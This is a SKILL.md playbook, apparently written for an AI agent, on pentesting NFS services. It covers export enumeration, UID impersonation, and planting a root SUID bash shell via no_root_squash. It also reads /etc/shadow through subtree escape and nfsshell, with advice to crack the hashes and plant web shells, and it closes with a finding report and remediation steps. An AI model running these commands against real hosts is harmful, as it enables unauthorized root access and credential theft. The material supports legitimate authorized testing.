pentesting-nfs

$npx mdskill add xalgord/xalgorix/pentesting-nfs

- Default port `2049/tcp/udp`; NFSv2/v3 also rely on `rpcbind` (`111`) and `mountd` (dynamic) — NFSv4 needs only 2049. - When `nmap`/`rpcinfo` shows `nfs`, `mountd`, `nfs_acl`, or RPC program `100003`. - For enumerating exports, mounting shares, and abusing UID/GID trust and squash misconfigurations to read/write privileged files.

SKILL.md

.github/skills/pentesting-nfsView on GitHub ↗
---
name: pentesting-nfs
description: Testing NFS services (default port 2049, with rpcbind/mountd on 111 and dynamic ports) for exported share enumeration, missing authentication, UID/GID impersonation, no_root_squash/no_all_squash misconfiguration, subtree_check export escape, and group-based file access (e.g., /etc/shadow) during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- nfs
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting NFS (port 2049)

## When to Use
- Default port `2049/tcp/udp`; NFSv2/v3 also rely on `rpcbind` (`111`) and `mountd` (dynamic) — NFSv4 needs only 2049.
- When `nmap`/`rpcinfo` shows `nfs`, `mountd`, `nfs_acl`, or RPC program `100003`.
- For enumerating exports, mounting shares, and abusing UID/GID trust and squash misconfigurations to read/write privileged files.

## Quick Enumeration
```bash
# Exports + permissions (NFSv3 via mountd)
showmount -e <IP>

# rpcbind / RPC program discovery (locate mountd, nlockmgr, etc.)
rpcinfo -p <IP>

# nmap NSE: list exports, mounts, disk stats
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>

# Metasploit mount scanner
msfconsole -q -x 'use scanner/nfs/nfsmount; set RHOSTS <IP>; run; exit'
```
> If `showmount`/msf show nothing, it may be an **NFSv4-only** server that doesn't support v3 — mount `/` directly and browse from there.

## Critical: Checks Most Often Missed
- **Missing authentication / UID impersonation** — without Kerberos, the server trusts client-supplied `UID`/`GID`. Create a local user matching the file owner's UID to access "protected" files.
  - How to CONFIRM:
    ```bash
    showmount -e <IP>
    mount -t nfs -o vers=3,nolock <IP>:/export /mnt/n
    ls -ln /mnt/n            # note owner UIDs
    sudo useradd -u <UID> victimsim ; sudo -u victimsim cat /mnt/n/<file>
    ```
- **no_root_squash** — root is NOT squashed; mounting lets you act as root on the share (write SUID binaries / read root-only files). The highest-impact miss.
  - How to CONFIRM: mount, then `touch /mnt/n/rootcheck && ls -l /mnt/n/rootcheck` shows owner `root`; or plant a SUID shell (see Step 3).
- **no_all_squash** — user identities preserved across the share, enabling broad impersonation.
- **subtree_check disabled (default on Linux) → export escape** — exporting a subfolder of a larger filesystem lets you reach files outside the export (e.g., read `/var/log/`, write `/var/www/`).
  - How to CONFIRM: use `nfs_analyze`/`fuse_nfs` from hvs-consulting nfs-security-tooling to detect escape + `no_root_squash`.
- **Group-readable root files** — only UID 0 is squash-protected by default; files owned by `root` but with a non-zero group (e.g., `/etc/shadow`, group `shadow`/gid 42) are readable by default.

## Workflow

### Step 1: Enumerate (exports, versions, RPC)
```bash
showmount -e <IP>
rpcinfo -p <IP>
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>
# Deep analysis (mounts, versions, escape, squash) :
#   git clone https://github.com/hvs-consulting/nfs-security-tooling
python3 nfs_analyze.py <IP>
```

### Step 2: Mount (no auth required for v2/v3)
```bash
mkdir -p /mnt/nfs
# v2/v3 have no real auth — prefer them for impersonation
mount -t nfs -o vers=3,nolock <IP>:/export /mnt/nfs
mount -t nfs -o vers=2,nolock <IP>:/backup /mnt/nfs    # v2 lacks any authz
```

### Step 3: Exploit / Extract (impersonation, squash, escape)
```bash
# UID impersonation: become the file owner locally
ls -ln /mnt/nfs                                  # find owning UID
sudo useradd -u 1001 victimsim
sudo -u victimsim cat /mnt/nfs/secret.txt

# no_root_squash privilege escalation: plant a root SUID shell
cp /bin/bash /mnt/nfs/rootbash
sudo chown root:root /mnt/nfs/rootbash 2>/dev/null   # works because root is not squashed
sudo chmod +s /mnt/nfs/rootbash
# then on the NFS host (or as that user): /path/rootbash -p   -> euid=0

# UID/GID forcing without local accounts
#   fuse_nfs (nfs-security-tooling) sends the needed UID/GID automatically
# nfsshell for interactive UID/GID switching:
#   nfs> host <IP>; export; mount /export; uid 0; gid 0; get /etc/shadow

# Group-readable root file (default-readable when group != 0)
cat /mnt/nfs/../etc/shadow   # via subtree escape when subtree_check disabled
```

### Step 4: Post-access / pivot
- Read `/etc/shadow` (group-readable case) and crack offline with hashcat/john.
- Use export escape to plant a web shell in `/var/www/` or read logs/keys in `/var/`.
- Reuse a planted SUID root shell or recovered keys/credentials to fully compromise the host and pivot.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **UID/GID trust** | Without Kerberos, the server trusts client-sent UID/GID — local user matching enables impersonation. |
| **root_squash** | Default: UID 0 mapped to `nobody`; non-root UIDs still trusted. |
| **no_root_squash** | Root not squashed — mount and act as root (SUID planting, root-file read). |
| **all_squash / no_all_squash** | Map everyone to `nobody` / preserve all identities respectively. |
| **subtree_check** | Disabled by default on Linux → exporting a subdir allows escape to the rest of the filesystem. |
| **Group-readable root files** | Files owned by root with non-zero group (e.g., shadow gid 42) readable by default. |
| **NFSv4 differences** | Adds Kerberos, ACLs, stateful ops, no portmapper; clients access `/` directly. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **showmount / rpcinfo** | Enumerate exports, allowed clients, and RPC programs. |
| **nmap NSE** | `nfs-ls`, `nfs-showmount`, `nfs-statfs`. |
| **mount -t nfs** | Mount shares (force `vers=2/3` to skip auth). |
| **nfs-security-tooling** | `nfs_analyze` (escape/squash detection) and `fuse_nfs` (force UID/GID). |
| **nfsshell** | Interactive client to set arbitrary UID/GID and fetch files. |
| **Metasploit** | `scanner/nfs/nfsmount`. |
| **john / hashcat** | Crack `/etc/shadow` hashes read from a share. |

## Common Scenarios
### Scenario 1: Anonymous export → UID impersonation
`showmount -e <IP>` lists `/home`. Mounting v3 and creating a local user with the owning UID grants read of a user's SSH private key, used to log in.

### Scenario 2: no_root_squash privilege escalation
`/srv` is exported with `no_root_squash`. The tester copies bash to the share, sets it root-owned + SUID, and executes `rootbash -p` on the host for a root shell.

### Scenario 3: subtree_check escape reads /etc/shadow
`/srv/` is exported but shares the root filesystem with `subtree_check` disabled. Using `nfs_analyze`, the tester escapes the export and reads `/etc/shadow` (group-readable), then cracks hashes offline.

## Output Format
```
## NFS Finding

**Service**: NFS
**Port**: 2049/tcp (NFSv3 via mountd, rpcbind 111)
**Severity**: Critical
**Finding**: Export with no_root_squash and subtree_check disabled
**Evidence**:
  - showmount -e <IP>: "/srv *"
  - mount -o vers=3 succeeded with no authentication
  - planted root-owned SUID bash in /srv -> rootbash -p returned euid=0
  - escaped export to read /etc/shadow
**Impact**: Unauthenticated network clients gain root-equivalent access to the host filesystem.
**Recommendation**:
  1. Remove `no_root_squash`/`no_all_squash`; keep default root_squash.
  2. Restrict exports to specific client IPs and require NFSv4 + Kerberos (`sec=krb5p`).
  3. Export tightly scoped directories and enable `subtree_check` where applicable.
  4. Block NFS/rpcbind ports from untrusted networks.
```

More from xalgord/xalgorix